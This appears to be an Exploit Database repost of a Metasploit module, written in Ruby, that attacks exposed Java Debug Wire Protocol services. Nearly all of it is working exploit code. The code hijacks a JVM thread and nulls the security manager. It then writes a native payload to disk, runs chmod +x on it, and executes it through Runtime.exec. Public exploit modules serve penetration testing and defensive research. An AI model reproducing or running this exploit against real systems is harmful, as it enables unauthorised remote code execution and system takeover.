Java – Debug Wire Protocol Remote Code Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2014-06-17
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33789/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  HANDSHAKE = "JDWP-Handshake"
  
  REQUEST_PACKET_TYPE = 0x00
  REPLY_PACKET_TYPE = 0x80
  
  # Command signatures
  VERSION_SIG = [1, 1]
  CLASSESBYSIGNATURE_SIG= [1, 2]
  ALLCLASSES_SIG= [1, 3]
  ALLTHREADS_SIG= [1, 4]
  IDSIZES_SIG = [1, 7]
  CREATESTRING_SIG= [1, 11]
  SUSPENDVM_SIG = [1, 8]
  RESUMEVM_SIG= [1, 9]
  SIGNATURE_SIG = [2, 1]
  FIELDS_SIG= [2, 4]
  METHODS_SIG = [2, 5]
  GETVALUES_SIG = [2, 6]
  CLASSOBJECT_SIG = [2, 11]
  SETSTATICVALUES_SIG = [3, 2]
  INVOKESTATICMETHOD_SIG= [3, 3]
  CREATENEWINSTANCE_SIG = [3, 4]
  REFERENCETYPE_SIG = [9, 1]
  INVOKEMETHOD_SIG= [9, 6]
  STRINGVALUE_SIG = [10, 1]
  THREADNAME_SIG= [11, 1]
  THREADSUSPEND_SIG = [11, 2]
  THREADRESUME_SIG= [11, 3]
  THREADSTATUS_SIG= [11, 4]
  EVENTSET_SIG= [15, 1]
  EVENTCLEAR_SIG= [15, 2]
  EVENTCLEARALL_SIG = [15, 3]
  
  # Other codes
  MODKIND_COUNT = 1
  MODKIND_THREADONLY= 2
  MODKIND_CLASSMATCH= 5
  MODKIND_LOCATIONONLY= 7
  MODKIND_STEP= 10
  EVENT_BREAKPOINT= 2
  EVENT_STEP= 1
  SUSPEND_EVENTTHREAD = 1
  SUSPEND_ALL = 2
  NOT_IMPLEMENTED = 99
  VM_DEAD = 112
  INVOKE_SINGLE_THREADED= 2
  TAG_OBJECT= 76
  TAG_STRING= 115
  TYPE_CLASS= 1
  TAG_ARRAY = 91
  TAG_VOID= 86
  TAG_THREAD= 116
  STEP_INTO = 0
  STEP_MIN= 0
  THREAD_SLEEPING_STATUS = 2
  
  def initialize
  super(
  'Name' => 'Java Debug Wire Protocol Remote Code Execution',
  'Description'=> %q{
  This module abuses exposed Java Debug Wire Protocol services in order
  to execute arbitrary Java code remotely. It just abuses the protocol
  features, since no authentication is required if the service is enabled.
  },
  'Author' => [
  'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
  'Christophe Alladoum', # JDWP Analysis and Exploit
  'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
  ],
  'References' =>
  [
  ['OSVDB', '96066'],
  ['EDB', '27179'],
  ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
  ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
  ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
  ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
  ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
  ],
  'Platform' => %w{ linux win },
  'Arch' => ARCH_X86,
  'Payload'=>
  {
  'Space'=> 2048,
  'BadChars'=> '',
  'DisableNops' => true
  },
  'Targets'=>
  [
  [ 'Linux x86 (Native Payload)',
  {
  'Platform' => 'linux'
  }
  ],
  [ 'Windows x86 (Native Payload)',
  {
  'Platform' => 'win'
  }
  ]
  ],
  'DefaultTarget'=> 0,
  'License'=> MSF_LICENSE,
  'DisclosureDate' => 'Mar 12 2010'
  )
  
  register_options(
  [
  Opt::RPORT(8000),
  OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
  OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
  ], self.class)
  
  register_advanced_options(
  [
  OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
  ], self.class)
  end
  
  def check
  connect
  res = handshake
  disconnect
  
  if res.nil?
  return Exploit::CheckCode::Unknown
  elsif res == HANDSHAKE
  return Exploit::CheckCode::Appears
  end
  
  Exploit::CheckCode::Safe
  end
  
  
  def peer
  "#{rhost}:#{rport}"
  end
  
  def default_timeout
  datastore['RESPONSE_TIMEOUT']
  end
  
  # Establishes handshake with the server
  def handshake
  sock.put(HANDSHAKE)
  return sock.get(datastore['RESPONSE_TIMEOUT'])
  end
  
  # Forges packet for JDWP protocol
  def create_packet(cmdsig, data="")
  flags = 0x00
  cmdset, cmd = cmdsig
  pktlen = data.length + 11
  buf = [pktlen, @my_id, flags, cmdset, cmd]
  pkt = buf.pack("NNCCC")
  pkt << data
  @my_id += 2
  pkt
  end
  
  # Reads packet response for JDWP protocol
  def read_reply(timeout = default_timeout)
  response = sock.get(timeout)
  fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
  pktlen, id, flags, errcode = response.unpack('NNCn')
  response.slice!(0..10)
  if errcode != 0 && flags == REPLY_PACKET_TYPE
  fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
  end
  response
  end
  
  # Returns the characters contained in the string defined in target VM
  def solve_string(data)
  sock.put(create_packet(STRINGVALUE_SIG, data))
  response = read_reply
  return "" unless response
  return read_string(response)
  end
  
  # Unpacks received string structure from the server response into a normal string
  def read_string(data)
  data_len = data.unpack('N')[0]
  data.slice!(0..3)
  return data.slice!(0,data_len)
  end
  
  # Creates a new string object in the target VM and returns its id
  def create_string(data)
  buf = build_string(data)
  sock.put(create_packet(CREATESTRING_SIG, buf))
  buf = read_reply
  return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
  end
  
  # Packs normal string into string structure for target VM
  def build_string(data)
  ret = [data.length].pack('N')
  ret << data
  
  ret
  end
  
  # Pack Fixnum for JDWP protocol
  def format(fmt, value)
  if fmt == "L" || fmt == 8
  return [value].pack('Q>')
  elsif fmt == "I" || fmt == 4
  return [value].pack('N')
  end
  
  fail_with(Failure::Unknown, "Unknown format")
  end
  
  # Unpack Fixnum from JDWP protocol
  def unformat(fmt, value)
  if fmt == "L" || fmt == 8
  return value[0..7].unpack('Q>')[0]
  elsif fmt == "I" || fmt == 4
  return value[0..3].unpack('N')[0]
  end
  
  fail_with(Failure::Unknown, "Unknown format")
  end
  
  # Parses given data according to a set of formats
  def parse_entries(buf, formats, explicit=true)
  entries = []
  
  if explicit
  nb_entries = buf.unpack('N')[0]
  buf.slice!(0..3)
  else
  nb_entries = 1
  end
  
  nb_entries.times do |var|
  
  if var != 0 && var % 1000 == 0
  vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
  end
  
  data = {}
  
  formats.each do |fmt,name|
  if fmt == "L" || fmt == 8
  data[name] = buf.unpack('Q>')[0]
  buf.slice!(0..7)
  elsif fmt == "I" || fmt == 4
  data[name] = buf.unpack('N')[0]
  buf.slice!(0..3)
  elsif fmt == "S"
  data_len = buf.unpack('N')[0]
  buf.slice!(0..3)
  data[name] = buf.slice!(0,data_len)
  elsif fmt == "C"
  data[name] = buf.unpack('C')[0]
  buf.slice!(0)
  elsif fmt == "Z"
  t = buf.unpack('C')[0]
  buf.slice!(0)
  if t == 115
  data[name] = solve_string(buf.slice!(0..7))
  elsif t == 73
  data[name], buf = buf.unpack('NN')
  end
  else
  fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
  end
  
  end
  entries.append(data)
  end
  
  entries
  end
  
  # Gets the sizes of variably-sized data types in the target VM
  def get_sizes
  formats = [
  ["I", "fieldid_size"],
  ["I", "methodid_size"],
  ["I", "objectid_size"],
  ["I", "referencetypeid_size"],
  ["I", "frameid_size"]
  ]
  sock.put(create_packet(IDSIZES_SIG))
  response = read_reply
  entries = parse_entries(response, formats, false)
  entries.each { |e| @vars.merge!(e) }
  end
  
  # Gets the JDWP version implemented by the target VM
  def get_version
  formats = [
  ["S", "descr"],
  ["I", "jdwp_major"],
  ["I", "jdwp_minor"],
  ["S", "vm_version"],
  ["S", "vm_name"]
  ]
  sock.put(create_packet(VERSION_SIG))
  response = read_reply
  entries = parse_entries(response, formats, false)
  entries.each { |e| @vars.merge!(e) }
  end
  
  def version
  "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
  end
  
  def is_java_eight
  version.downcase =~ /1[.]8[.]/
  end
  
  # Returns reference for all threads currently running on target VM
  def get_all_threads
  sock.put(create_packet(ALLTHREADS_SIG))
  response = read_reply
  num_threads = response.unpack('N').first
  response.slice!(0..3)
  
  size = @vars["objectid_size"]
  num_threads.times do
  t_id = unformat(size, response[0..size-1])
  @threads[t_id] = nil
  response.slice!(0..size-1)
  end
  end
  
  # Returns reference types for all classes currently loaded by the target VM
  def get_all_classes
  return unless @classes.empty?
  
  formats = [
  ["C", "reftype_tag"],
  [@vars["referencetypeid_size"], "reftype_id"],
  ["S", "signature"],
  ["I", "status"]
  ]
  sock.put(create_packet(ALLCLASSES_SIG))
  response = read_reply
  @classes.append(parse_entries(response, formats))
  end
  
  # Checks if specified class is currently loaded by the target VM and returns it
  def get_class_by_name(name)
  @classes.each do |entry_array|
  entry_array.each do |entry|
  if entry["signature"].downcase == name.downcase
  return entry
  end
  end
  end
  
  nil
  end
  
  # Returns information for each method in a reference type (ie. object). Inherited methods are not included.
  # The list of methods will include constructors (identified with the name "<init>")
  def get_methods(reftype_id)
  if @methods.has_key?(reftype_id)
  return @methods[reftype_id]
  end
  
  formats = [
  [@vars["methodid_size"], "method_id"],
  ["S", "name"],
  ["S", "signature"],
  ["I", "mod_bits"]
  ]
  ref_id = format(@vars["referencetypeid_size"],reftype_id)
  sock.put(create_packet(METHODS_SIG, ref_id))
  response = read_reply
  @methods[reftype_id] = parse_entries(response, formats)
  end
  
  # Returns information for each field in a reference type (ie. object)
  def get_fields(reftype_id)
  formats = [
  [@vars["fieldid_size"], "field_id"],
  ["S", "name"],
  ["S", "signature"],
  ["I", "mod_bits"]
  ]
  ref_id = format(@vars["referencetypeid_size"],reftype_id)
  sock.put(create_packet(FIELDS_SIG, ref_id))
  response = read_reply
  fields = parse_entries(response, formats)
  
  fields
  end
  
  # Returns the value of one static field of the reference type. The field must be member of the reference type
  # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
  # for example, the values of private fields can be obtained.
  def get_value(reftype_id, field_id)
  data = format(@vars["referencetypeid_size"],reftype_id)
  data << [1].pack('N')
  data << format(@vars["fieldid_size"],field_id)
  
  sock.put(create_packet(GETVALUES_SIG, data))
  response = read_reply
  num_values = response.unpack('N')[0]
  
  unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
  fail_with(Failure::Unknown, "Bad response when getting value for field")
  end
  
  response.slice!(0..4)
  
  len = @vars["objectid_size"]
  value = unformat(len, response)
  
  value
  end
  
  # Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
  # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
  # the field's type exactly. For object values, there must exist a widening reference conversion from the
  # value's type to the field's type and the field's type must be loaded.
  def set_value(reftype_id, field_id, value)
  data = format(@vars["referencetypeid_size"],reftype_id)
  data << [1].pack('N')
  data << format(@vars["fieldid_size"],field_id)
  data << format(@vars["objectid_size"],value)
  
  sock.put(create_packet(SETSTATICVALUES_SIG, data))
  read_reply
  end
  
  
  # Checks if specified method is currently loaded by the target VM and returns it
  def get_method_by_name(classname, name, signature = nil)
  @methods[classname].each do |entry|
  if signature.nil?
  return entry if entry["name"].downcase == name.downcase
  else
  if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
  return entry
  end
  end
  end
  
  nil
  end
  
  # Checks if specified class and method are currently loaded by the target VM and returns them
  def get_class_and_method(looked_class, looked_method, signature = nil)
  target_class = get_class_by_name(looked_class)
  unless target_class
  fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
  end
  
  get_methods(target_class["reftype_id"])
  target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
  unless target_method
  fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
  end
  
  return target_class, target_method
  end
  
  # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
  def str_to_fq_class(s)
  i = s.rindex(".")
  unless i
  fail_with(Failure::BadConfig, 'Bad defined break class')
  end
  
  method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
  
  classname = 'L'
  classname << s[0..i-1].gsub(/[.]/, '/')
  classname << ';'
  
  return classname, method
  end
  
  # Gets the status of a given thread
  def thread_status(thread_id)
  sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
  buf = read_reply(datastore['BREAK_TIMEOUT'])
  unless buf
  fail_with(Exploit::Failure::Unknown, "No network response")
  end
  status, suspend_status = buf.unpack('NN')
  
  status
  end
  
  # Resumes execution of the application or thread after the suspend command or an event has stopped it
  def resume_vm(thread_id = nil)
  if thread_id.nil?
  sock.put(create_packet(RESUMEVM_SIG))
  else
  sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
  end
  
  response = read_reply(datastore['BREAK_TIMEOUT'])
  unless response
  fail_with(Exploit::Failure::Unknown, "No network response")
  end
  
  response
  end
  
  # Suspend execution of the application or thread
  def suspend_vm(thread_id = nil)
  if thread_id.nil?
  sock.put(create_packet(SUSPENDVM_SIG))
  else
  sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
  end
  
  response = read_reply
  unless response
  fail_with(Exploit::Failure::Unknown, "No network response")
  end
  
  response
  end
  
  # Sets an event request. When the event described by this request occurs, an event is sent from the target VM
  def send_event(event_code, args)
  data = [event_code].pack('C')
  data << [SUSPEND_ALL].pack('C')
  data << [args.length].pack('N')
  
  args.each do |kind,option|
  data << [kind].pack('C')
  data << option
  end
  
  sock.put(create_packet(EVENTSET_SIG, data))
  response = read_reply
  unless response
  fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
  end
  return response.unpack('N')[0]
  end
  
  # Parses a received event and compares it with the expected
  def parse_event(buf, event_id, thread_id)
  len = @vars["objectid_size"]
  return false if buf.length < 10 + len - 1
  
  r_id = buf[6..9].unpack('N')[0]
  t_id = unformat(len,buf[10..10+len-1])
  
  return (event_id == r_id) && (thread_id == t_id)
  end
  
  # Clear a defined event request
  def clear_event(event_code, r_id)
  data = [event_code].pack('C')
  data << [r_id].pack('N')
  sock.put(create_packet(EVENTCLEAR_SIG, data))
  read_reply
  end
  
  # Invokes a static method. The method must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
  # methods can be invoked.
  def invoke_static(class_id, thread_id, meth_id, args = [])
  data = format(@vars["referencetypeid_size"], class_id)
  data << format(@vars["objectid_size"], thread_id)
  data << format(@vars["methodid_size"], meth_id)
  data << [args.length].pack('N')
  
  args.each do |arg|
  data << arg
  data << [0].pack('N')
  end
  
  sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
  buf = read_reply
  buf
  end
  
  # Invokes a instance method. The method must be member of the object's type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
  # can be invoked.
  def invoke(obj_id, thread_id, class_id, meth_id, args = [])
  data = format(@vars["objectid_size"], obj_id)
  data << format(@vars["objectid_size"], thread_id)
  data << format(@vars["referencetypeid_size"], class_id)
  data << format(@vars["methodid_size"], meth_id)
  data << [args.length].pack('N')
  
  args.each do |arg|
  data << arg
  data << [0].pack('N')
  end
  
  sock.put(create_packet(INVOKEMETHOD_SIG, data))
  buf = read_reply
  buf
  end
  
  # Creates a new object of specified class, invoking the specified constructor. The constructor
  # method ID must be a member of the class type.
  def create_instance(class_id, thread_id, meth_id, args = [])
  data = format(@vars["referencetypeid_size"], class_id)
  data << format(@vars["objectid_size"], thread_id)
  data << format(@vars["methodid_size"], meth_id)
  data << [args.length].pack('N')
  
  args.each do |arg|
  data << arg
  data << [0].pack('N')
  end
  
  sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
  buf = read_reply
  buf
  end
  
  def temp_path
  return nil unless datastore['TMP_PATH']
  unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
  fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
  end
  datastore['TMP_PATH']
  end
  
  # Configures payload according to targeted architecture
  def setup_payload
  # 1. Setting up generic values.
  payload_exe = rand_text_alphanumeric(4 + rand(4))
  pl_exe = generate_payload_exe
  
  # 2. Setting up arch specific...
  case target['Platform']
  when 'linux'
  path = temp_path || '/tmp/'
  payload_exe = "#{path}#{payload_exe}"
  if @os.downcase =~ /win/
  print_warning("#{peer} - #{@os} system detected but using Linux target...")
  end
  when 'win'
  path = temp_path || './'
  payload_exe = "#{path}#{payload_exe}.exe"
  unless @os.downcase =~ /win/
  print_warning("#{peer} - #{@os} system detected but using Windows target...")
  end
  end
  
  return payload_exe, pl_exe
  end
  
  # Invokes java.lang.System.getProperty() for OS fingerprinting purposes
  def fingerprint_os(thread_id)
  size = @vars["objectid_size"]
  
  # 1. Creates a string on target VM with the property to be getted
  cmd_obj_ids = create_string("os.name")
  fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
  cmd_obj_id = cmd_obj_ids[0]["obj_id"]
  
  # 2. Gets property
  data = [TAG_OBJECT].pack('C')
  data << format(size, cmd_obj_id)
  data_array = [data]
  runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
  buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
  fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
  
  str = unformat(size, buf[1..1+size-1])
  @os = solve_string(format(@vars["objectid_size"],str))
  end
  
  # Creates a file on the server given a execution thread
  def create_file(thread_id, filename)
  cmd_obj_ids = create_string(filename)
  fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
  
  cmd_obj_id = cmd_obj_ids[0]["obj_id"]
  size = @vars["objectid_size"]
  data = [TAG_OBJECT].pack('C')
  data << format(size, cmd_obj_id)
  data_array = [data]
  runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
  buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
  fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
  
  file = unformat(size, buf[1..1+size-1])
  fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
  
  register_files_for_cleanup(filename)
  
  file
  end
  
  # Stores the payload on a new string created in target VM
  def upload_payload(thread_id, pl_exe)
  size = @vars["objectid_size"]
  if is_java_eight
  runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
  buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
  else
  runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
  buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
  end
  unless buf[0] == [TAG_OBJECT].pack('C')
  fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
  end
  
  decoder = unformat(size, buf[1..1+size-1])
  if decoder.nil? || decoder == 0
  fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
  end
  
  cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
  if cmd_obj_ids.length == 0
  fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
  end
  
  cmd_obj_id = cmd_obj_ids[0]["obj_id"]
  data = [TAG_OBJECT].pack('C')
  data << format(size, cmd_obj_id)
  data_array = [data]
  
  if is_java_eight
  runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
  else
  runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
  end
  buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
  unless buf[0] == [TAG_ARRAY].pack('C')
  fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
  end
  
  pl = unformat(size, buf[1..1+size-1])
  pl
  end
  
  # Dumps the payload on a opened server file given a execution thread
  def dump_payload(thread_id, file, pl)
  size = @vars["objectid_size"]
  data = [TAG_OBJECT].pack('C')
  data << format(size, pl)
  data_array = [data]
  runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
  buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
  unless buf[0] == [TAG_VOID].pack('C')
  fail_with(Failure::Unknown, "Exception while writing to file")
  end
  end
  
  # Closes a file on the server given a execution thread
  def close_file(thread_id, file)
  runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
  buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
  unless buf[0] == [TAG_VOID].pack('C')
  fail_with(Failure::Unknown, "Exception while closing file")
  end
  end
  
  # Executes a system command on target VM making use of java.lang.Runtime.exec()
  def execute_command(thread_id, cmd)
  size = @vars["objectid_size"]
  
  # 1. Creates a string on target VM with the command to be executed
  cmd_obj_ids = create_string(cmd)
  if cmd_obj_ids.length == 0
  fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
  end
  
  cmd_obj_id = cmd_obj_ids[0]["obj_id"]
  
  # 2. Gets Runtime context
  runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
  buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
  unless buf[0] == [TAG_OBJECT].pack('C')
  fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
  end
  
  rt = unformat(size, buf[1..1+size-1])
  if rt.nil? || (rt == 0)
  fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
  end
  
  # 3. Finds and executes "exec" method supplying the string with the command
  exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
  if exec_meth.nil?
  fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
  end
  
  data = [TAG_OBJECT].pack('C')
  data << format(size, cmd_obj_id)
  data_array = [data]
  buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
  unless buf[0] == [TAG_OBJECT].pack('C')
  fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
  end
  end
  
  # Set event for stepping into a running thread
  def set_step_event
  # 1. Select a thread in sleeping status
  t_id = nil
  @threads.each_key do |thread|
  if thread_status(thread) == THREAD_SLEEPING_STATUS
  t_id = thread
  break
  end
  end
  fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
  
  # 2. Suspend the VM before setting the event
  suspend_vm
  
  vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
  step_info = format(@vars["objectid_size"], t_id)
  step_info << [STEP_MIN].pack('N')
  step_info << [STEP_INTO].pack('N')
  data = [[MODKIND_STEP, step_info]]
  
  r_id = send_event(EVENT_STEP, data)
  unless r_id
  fail_with(Failure::Unknown, "Could not set the event")
  end
  
  return r_id, t_id
  end
  
  # Disables security manager if it's set on target JVM
  def disable_sec_manager
  sys_class = get_class_by_name("Ljava/lang/System;")
  
  fields = get_fields(sys_class["reftype_id"])
  
  sec_field = nil
  
  fields.each do |field|
  sec_field = field["field_id"] if field["name"].downcase == "security"
  end
  
  fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
  
  value = get_value(sys_class["reftype_id"], sec_field)
  
  if(value == 0)
  print_good("#{peer} - Security manager was not set")
  else
  set_value(sys_class["reftype_id"], sec_field, 0)
  if get_value(sys_class["reftype_id"], sec_field) == 0
  print_good("#{peer} - Security manager has been disabled")
  else
  print_good("#{peer} - Security manager has not been disabled, trying anyway...")
  end
  end
  end
  
  # Uploads & executes the payload on the target VM
  def exec_payload(thread_id)
  # 0. Fingerprinting OS
  fingerprint_os(thread_id)
  
  vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
  
  # 1. Prepares the payload
  payload_exe, pl_exe = setup_payload
  
  # 2. Creates file on server for dumping payload
  file = create_file(thread_id, payload_exe)
  
  # 3. Uploads payload to the server
  pl = upload_payload(thread_id, pl_exe)
  
  # 4. Dumps uploaded payload into file on the server
  dump_payload(thread_id, file, pl)
  
  # 5. Closes the file on the server
  close_file(thread_id, file)
  
  # 5b. When linux arch, give execution permissions to file
  if target['Platform'] == 'linux'
  cmd = "chmod +x #{payload_exe}"
  execute_command(thread_id, cmd)
  end
  
  # 6. Executes the dumped payload
  cmd = "#{payload_exe}"
  execute_command(thread_id, cmd)
  end
  
  
  def exploit
  @my_id = 0x01
  @vars = {}
  @classes = []
  @methods = {}
  @threads = {}
  @os = nil
  
  connect
  
  unless handshake == HANDSHAKE
  fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
  end
  
  print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
  get_sizes
  
  print_status("#{peer} - Getting the version of the target VM...")
  get_version
  
  print_status("#{peer} - Getting all currently loaded classes by the target VM...")
  get_all_classes
  
  print_status("#{peer} - Getting all running threads in the target VM...")
  get_all_threads
  
  print_status("#{peer} - Setting 'step into' event...")
  r_id, t_id = set_step_event
  
  print_status("#{peer} - Resuming VM and waiting for an event...")
  response = resume_vm
  
  unless parse_event(response, r_id, t_id)
  datastore['NUM_RETRIES'].times do |i|
  print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
  buf = read_reply
  break if parse_event(buf, r_id, t_id)
  
  if i == datastore['NUM_RETRIES']
  fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
  end
  end
  end
  
  vprint_status("#{peer} - Received matching event from thread #{t_id}")
  print_status("#{peer} - Deleting step event...")
  clear_event(EVENT_STEP, r_id)
  
  print_status("#{peer} - Disabling security manager if set...")
  disable_sec_manager
  
  print_status("#{peer} - Dropping and executing payload...")
  exec_payload(t_id)
  
  disconnect
  end
  end